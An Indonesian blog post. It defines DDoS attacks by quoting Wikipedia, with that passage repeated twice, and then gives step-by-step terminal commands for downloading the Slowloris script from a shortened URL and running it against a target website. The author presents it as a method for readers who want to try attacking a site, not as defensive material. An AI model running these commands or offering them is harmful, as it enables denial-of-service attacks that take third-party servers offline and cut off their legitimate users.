Ddos atau Distributed Denial Of Service, merupakan salah satu cara yang dilakukan seorang attacker untuk menyerang sebuah komputer atau server di dalam jaringan internet dengan tujuan untuk menghabiskan sumber (resource) yang dimiliki oleh komputer tersebut sampai komputer tersebut tidak dapat menjalankan fungsinya dengan benar sehingga secara tidak langsung mencegah pengguna lain untuk memperoleh akses layanan dari komputer yang diserang tersebut.
Dalam sebuah serangan
Denial of Service, si penyerang akan mencoba untuk mencegah akses
seorang pengguna terhadap sistem atau jaringan dengan menggunakan
beberapa cara, yakni sebagai berikut :
- Membanjiri lalu lintas jaringan dengan banyak data sehingga lalu lintas jaringan yang datang dari pengguna yang terdaftar menjadi tidak dapat masuk ke dalam sistem jaringan. Teknik ini disebut sebagai traffic flooding.
- Membanjiri jaringan dengan banyak request terhadap sebuah layanan jaringan yang disedakan oleh sebuah host sehingga request yang datang dari pengguna terdaftar tidak dapat dilayani oleh layanan tersebut. Teknik ini disebut sebagai request flooding.
- Mengganggu komunikasi antara sebuah host dan kliennya yang terdaftar dengan menggunakan banyak cara, termasuk dengan mengubah informasi konfigurasi sistem atau bahkan perusakan fisik terhadap komponen dan server.
Sumber diatas dikutip
dari : Wikipedia
mencoba untuk mencegah
akses seorang pengguna terhadap sistem atau jaringan dengan
menggunakan beberapa cara, yakni sebagai berikut :
- Membanjiri lalu lintas jaringan dengan banyak data sehingga lalu lintas jaringan yang datang dari pengguna yang terdaftar menjadi tidak dapat masuk ke dalam sistem jaringan. Teknik ini disebut sebagai traffic flooding.
- Membanjiri jaringan dengan banyak request terhadap sebuah layanan jaringan yang disedakan oleh sebuah host sehingga request yang datang dari pengguna terdaftar tidak dapat dilayani oleh layanan tersebut. Teknik ini disebut sebagai request flooding.
- Mengganggu komunikasi antara sebuah host dan kliennya yang terdaftar dengan menggunakan banyak cara, termasuk dengan mengubah informasi konfigurasi sistem atau bahkan perusakan fisik terhadap komponen dan server.
Sumber diatas dikutip
dari : Wikipedia
Nah, kali ini saya akan memberikan cara metode yang digunakan seorang attacker untuk melakukan ddos attack. Salah satu senjata ddos kesukaan attacker adalah Slowloris. Dikarnakan Slowloris dibuat dengan menggunakan bahasaya Perl, maka praktek yang saya buat ini, saya lakukan di OS Linux, dengan distro BlankOn. Berikut caranya :
Langkah awal kita buka
Terminal , kemudian ketik :
$ mkdir slowloris && cd slowloris
$ mkdir slowloris && cd slowloris
$ wget -O slowloris.pl http://goo.gl/Gmgf3
$
chmod 777 *
$ perl slowloris.pl -dns www.situs yang dituju.com
Nah, cukup sekian info dan postingan saya di pagi hari ini, semoga dapat membantu sodara-sodara yang ingin mencoba. :)
Tidak ada komentar:
Posting Komentar